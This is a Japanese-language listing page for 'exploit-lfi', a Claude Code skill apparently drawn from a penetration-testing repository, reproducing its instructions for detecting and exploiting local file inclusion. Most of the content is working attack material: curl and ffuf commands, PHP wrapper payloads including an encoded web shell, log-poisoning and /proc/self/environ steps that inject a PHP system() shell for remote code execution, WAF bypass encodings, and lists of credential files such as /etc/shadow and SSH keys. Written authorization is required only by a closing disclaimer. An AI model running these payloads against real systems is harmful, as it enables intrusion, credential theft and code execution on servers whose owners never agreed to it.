mcpField
E
exploit-lfi

exploit-lfi

github.com/crazymarkyセキュリティ34973 回インストール21 週間前に更新
リポジトリ

exploit-lfi について

許可されたセキュリティテストで、ローカルファイルインクルージョン(LFI)を検出・検証するスキルです。OSの判別、パストラバーサルやPHPラッパーのテスト、ソース漏えいやログポイズニングなどの手法を扱います。

主な機能

  1. 01疑わしいパラメーターとインクルード形式の特定
  2. 02パストラバーサルとPHPラッパーのテスト
  3. 03ファイル内容から対象OSを推定
  4. 04ソース漏えいやログポイズニングの検証
  5. 05curlとffufによるテスト例

活用シーン

  1. 01WebパラメーターのLFI有無を確認
  2. 02設定ファイルやPHPソースを分析用に取得
  3. 03許可されたテストでログポイズニングなどを評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-lfi

インストール後、Claude Code で/exploit-lfiを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

assets/
encoding_bypass_payloads.txt
sensitive_files_linux.txt
sensitive_files_windows.txt
traversal_payloads.txt
wrapper_payloads.txt
references/
bypass_techniques.md
lfi_techniques.md
php_wrappers.md
rce_methods.md
scripts/
lfi_bypass_tester.py
lfi_detector.py
lfi_exploiter.py
lfi_storage.py

詳細

ローカルファイルインクルージョン(LFI)の検出と悪用

概要

このスキルは、**ローカルファイルインクルージョン(LFI)**型の脆弱性の検出と悪用に特化しています。

LFI 脆弱性は、アプリケーションがユーザー入力をファイルパスとして直接使用したり、適切に検証せずにファイルをインクルードしたりする場合に発生します。攻撃者はパストラバーサルやラッパープロトコルを利用して、機密ファイルの読み取りや任意コードの実行が可能です。

exploit-file-download との違い:

  • LFI:パラメーター値が include() に渡されるか、ファイル内容として保存されます。影響=コード実行(RCE)
  • ファイルダウンロード:パラメーター値を使用してファイルをローカルにダウンロードします。影響=情報漏えい

主な機能

1. LFI 脆弱性の検出

以下の LFI の特徴を自動的に識別します:

  • パラメーターパターンの識別:file、page、include、dir、document、path、content、titleなど
  • ファイルインクルードパターン:パラメーター値が include() またはrequire() のファイルパスとして直接使用されている
  • ディレクトリトラバーサルパターン:ディレクトリをたどるために使用される ../ シーケンス
  • ラッパープロトコルの悪用:php://filter、php://input、data:、expect:// など
  • レスポンスの特徴分析:Linux/Windows のファイル内容の特徴を識別
2. OS の自動検出

テスト時に対象の OS を自動的に識別します:

OS特徴的なファイルテストパス
Linux/etc/passwd の内容:root:x:0:0:/etc/passwd, /etc/shadow
WindowsC:\Windows\win.ini の内容:[fonts], [extensions]C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts
3. 代表的な LFI ペイロード
種類ペイロード使用場面
パストラバーサル?title=../../../etc/passwd基本的なディレクトリトラバーサル
ラッパープロトコルによる読み取り?file=php://filter/convert.base64-encode/resource=/etc/passwd機密ファイルのソースを読み取る
データインジェクション?file=data://text/plain;base64,PD9waHAgc3l...コードインジェクション
コマンド実行?file=expect://lsRCE(expect 拡張が必要)
4. LFI の悪用シナリオ
  • ソースコードの読み取り:php://filter を使用して PHP ソースコードを読み取り、分析する
  • 設定情報の取得:データベース設定ファイルを読み取り、認証情報を取得する
  • ログポイズニング:LFI 経由でログに書き込み、RCE を実現する
  • 一時ファイル:ファイルアップロードと組み合わせてシェルを取得する
  • /proc/self/environ:環境変数へのインジェクションによって RCE を実現する

ツールのインストール

必須ツール
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

使用方法

クイックスタート
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"

# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
代表的なテストシナリオ
1. 基本的なパストラバーサル
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"
2. ラッパープロトコルの悪用
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
3. ログポイズニングによる RCE
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
4. /proc/self/environ の悪用
# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"

# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"

# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"
5. 一時ファイルの競合
# 上传包含 PHP 代码的图片
curl -F "[email protected]" "https://target.com/upload.php"

# 快速枚举临时文件
for i in {1..100}; do
  curl "https://target.com/vul.php?file=/tmp/php$i";
done

ツール選択ガイド

シナリオ推奨ツールコマンド例
手早い単一テストcurlcurl "URL?file=../etc/passwd"
ペイロードの一括テストffufffuf -u URL -w payloads.txt
詳細なテストカスタムスクリプト以下の詳細テスト用スクリプトを参照
レスポンス分析grep/diffgrep -i "root:x:0" response.txt
詳細テスト用スクリプト
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功!深度:$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

テストチェックリスト

偵察段階
  • LFI の可能性があるすべてのパラメーター(file、page、title、include など)を特定する
  • 基本的なパストラバーサル(../)をテストする
  • 対象の OS(Linux/Windows)を確認する
  • ラッパープロトコルが使用可能かテストする(php://filter)
悪用段階
  • システムの機密ファイル(/etc/passwd, /etc/shadow)を読み取る
  • Web アプリケーションの設定ファイル(.env, config.php)を読み取る
  • PHP ソースコードを読み取り、アプリケーションのロジックを分析する
  • ログポイズニングを試して RCE を取得する
  • /proc/self/environ の悪用を試す
  • 一時ファイルの競合による悪用を試す
回避テスト
  • URL エンコードによる回避(%2e%2e%2f)
  • 二重 URL エンコード(%252e%252e%252f)
  • Unicode による難読化(%c0%ae%c0%ae%c0%af)
  • パスのバリエーション(.., ..//, ..././)
  • NULL バイトによる切り詰め(%00)
  • 拡張子による回避(file.php.jpg, file.php.)

機密ファイルのパス

Linux
# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers

# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml

# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys

# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
Windows
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM

# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php

# IIS 日志
C:\inetpub\logs\LogFiles\

LFI ペイロード一覧

基本ペイロード
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
エンコード済みペイロード
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
PHP ラッパープロトコル
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

代替手段

主なツールが使用できない場合は、以下の代替手段を使用できます:

主なツール代替手段説明
curlwgetwget -qO- "URL" はcurl -s "URL" と同等です
ffufgobustergobuster dir -u URL -w payloads.txt
ffufdirsearchdirsearch -u URL -e php

参考資料

  • 技術ドキュメント:references/lfi_techniques.md - LFI の技術全般の詳細解説
  • PHP ラッパープロトコル:references/php_wrappers.md - PHP wrapper のリファレンス
  • 回避技術:references/bypass_techniques.md - エンコードおよびフィルターの回避
  • RCE 手法:references/rce_methods.md - リモートコード実行の手法一覧

results-storage との統合

LFI 脆弱性が見つかった場合は、データベースに保存できます:

python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

データベースの場所:./data/results.db

関連スキル:results-storage - データの検索、レポートの生成


ベストプラクティス

  1. ペイロードは必ずエンコードする - URL エンコードを使用して WAF によるブロックを回避します
  2. 浅い階層から深い階層へテストする - 最初に 1~2 階層のトラバーサルをテストし、その後段階的に深くします
  3. レスポンスの長さを記録する - 成功時のレスポンスは通常、長さに異常があります
  4. base64 を使用する - ソースコードの読み取り時に base64 を使用してコードの実行を避けます
  5. 403/404 を見落とさない - WAF によっては、偽のエラーコードを返す場合があります

承認に関する声明

このスキルは、承認を得たセキュリティテストにのみ使用してください。使用前に以下を確認してください:

  • 対象システムの所有者から明確な書面による承認を得ている
  • テスト範囲と承認内容が明確に定義されている
  • 現地の法令を遵守している

承認を得ずに行う侵入テストは違法行為です。


最終更新:2026-03-05 バージョン:2.0

コメント